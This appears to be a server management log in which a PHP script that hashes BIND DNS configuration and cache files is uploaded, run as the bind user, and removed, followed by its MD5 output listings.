MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:37:07: Establishing a connection
2026-04-28 10:37:07: 

PUT: /tmp/pkp185908

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:37:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp185908; rm /tmp/pkp185908'

2026-04-28 10:37:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:37:08: Establishing a connection
2026-04-28 10:37:08: 

PUT: /tmp/pkp356860

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:37:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp356860; rm /tmp/pkp356860'

2026-04-28 10:37:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
